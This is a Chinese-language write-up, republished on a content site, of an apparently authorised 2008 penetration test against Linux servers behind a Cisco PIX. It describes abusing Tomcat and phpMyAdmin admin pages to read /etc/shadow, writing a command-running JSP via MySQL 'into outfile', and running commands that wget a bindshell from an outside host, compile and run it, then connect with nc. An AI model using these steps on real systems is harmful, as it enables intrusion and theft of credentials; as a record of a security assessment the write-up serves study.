分享
 
 
 

针对Linux系统网络服务器的一次渗透测试

王朝system·作者佚名  2008-05-18
窄屏简体版  字體: |||超大  

前一段时间接了一个渗透测试的任务,过程有点意思,所以简单写一下,以供参考。

我们检测的三台主机中两台为Linux系统,一台为AIX系统。还有一台是边界路由器。

目标网络的主机通过地址转换来提供对外访问,内部使用172.16.*.*地址段(这些信息是测试之后才得到的,开始并不知道)。在边界路由器后面还有一台Cisco PIX 525

(515?)对三台主机进行保护,只允许外部用户连接不同主机的部分端口,例如80, 25,110等等。

根据我们的检测,Cisco PIX防火墙的过滤规则设置还是比较严密的,基本上没有多余端口允许外部用户访问。

在对xx.xx.xx.2和xx.xx.xx.3进行了端口扫描之后,发现只有通过 xx.xx.xx.3的WEB服务进行进行间接攻击。首先检查TCP/80端口的服务,我们发现新闻搜索的功能是在另外一个端口8070提供的。直接输入:http://yyy.yyy.yyy:8070/

之后,得到了一个系统管理登录页面,简单地测试了一下,输入test/test作为用户名/口令,似乎认证成功,但最后并不能进入下一个页面。我们发现这个端口正在运行

Tomcat 3.1,而这个版本存在一个安全漏洞,缺省/admin目录是可以访问的。在输入:http://yyy.yyy.yyy:8070/admin 之后,我们果然看到了”Tomcat Administration Tools”的页面,通过点击”Context Admin”这个链接,我们可以对 Tomcat的Context进行管理,例如查看、增加、删除Context。这个Context有点类似虚拟目录,于是我们可以增加一个 context, 例如”/tt”,将它的文档根目录设置为”/”,这样当我们访问http://yyy.yyy.yyy:8070/tt时看到的就是系统根目录的列表了!进一步可以查看任意目录里面的任意文件。由于Tomcat是以root身份运行的,所以可以查看任意系统文件,例如 /etc/passwd和/etc/shadow。根据口令文件进行密码破解后发现系统中的两个用户test和root都使用了非常简单的口令: 123456。尽管外部用户无法直接访问telnet服务,这些口令还是应当被重设为更为强壮的字符串

利用这个漏洞我们基本上可以查看整个系统,但是由于无法写入数据,威胁似乎还不是很大。

于是我们将注意力转移到论坛和聊天室。这两个服务一个监听在8080,一个监听在 8888端口。直接输入http://yyy.yyy.yyy:8080/, 我们看到了Tomcat4.1.10的欢迎页面,点击左边的管理链接:http://yyy.yyy.yyy:8080/admin ,我们得到了一个登录页面,虽然我们不知道口令,但是通过前面8070端口的漏洞,我们找到了Tomcat保存这些口令的文件,得到了管理用户名为 admin,口令为空。于是我们就可以对整个Tomcat服务器进行管理了。

但这仍然不足以让我们在系统上运行命令。于是我们继续检查聊天室所在的8888端口。这个端口运行的是apache 1.3.26 +php 4.1.2。开始没有发现什么问题,突然想到前面发现的两个漏洞都与/admin有关,这个端口上会不会也有这个目录呢?在输入这个目录之后我们惊奇地发现,我们进入了一个phpMyadmin的管理界面。我们可以对整个数据库进行任意操作。由于数据库是MySQL,它支持从本地操作系统读入或者写入数据。因此我们在 test库中建立了一个简单的表,然后添加一条记录,记录的内容就是一个php文件的内容,我们想写入一个php文件,然后利用php调用外部命令的方法来执行命令。我们利用

select tt into outfile /path/test.php from kk

这样的命令来将数据库中的内容写到一个php文件里,但由于mysql是以mysql用户身份运行的,无法写到apache的目录中。所以这次尝试失败了。

我们又想到了一个方法,利用8070端口的漏洞我们可以访问任意系统文件,而 8070端口是由tomcat提供服务的,如果我们可以设法在系统中创建一个. jsp文件,就可以远程访问这个jsp文件,它将被tomcat处理并运行。如果这个.jsp文件中的内容是一段执行系统命令代码,就可以运行系统命令了。

于是我们又重新编写了一段可以执行系统命令的jsp代码,将其输入测试表中,再次利用into outfile方法将其内容写到/tmp/test.jsp文件中,然后访问下列链接:

http://yyy.yyy.yyy:8070/tt/tmp/test.jsp

(感谢watercloud提供技术支持)

我们发现我们指定的命令被执行了!而且是以root身份执行的。这意味着我们已经完全控制了整个系统。

当然,通过cgi执行命令还是不如有一个shell来得方便。当然最简单的方法就是开一个xterm连回到我们的Xwindows即可。但是我们是用的 NAT,连不进来。听说工程部有个IP是可以外部访问的,就搬了笔记本过去准备用,结果在一切都准备好之后,发现对方居然关机了!@#^*#%#%#$%

第二天,我决定还是用老办法,开个shell算了。首先要找到一个可以外部访问的端口。但是防火墙并不允许外部访问所有的端口,经过一番测试,发现所有允许访问的端口都被占用着。仔细看了看进程,发现chatserver占了4个端口,每一个端口对应一个聊天室,而且目前也没有人在使用这些聊天室。所以我就先kill掉其中一个进程,这样就可以将在其对应的端口上绑定一个shell了。

通过jsp执行命令来下载/编译/运行我们的bindshell:

wget http://ourhost/bindshell.c

gcc -o bindshell bindshell.c

nohup ./bindshell

现在就可以连接我们的shell了:nc yyy.yyy.yyy 9100

现在我们已经在防火墙的后面了,因此可以直接访问内网了。通过扫描发现存在如下内部主机:

172.16.1.1 Cisco PIX

172.16.1.2 mail

172.16.1.3 web

172.16.1.4 oracle db

进一步测试还可以入侵其中的oracle服务器。至此,此次渗透测试基本结束。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有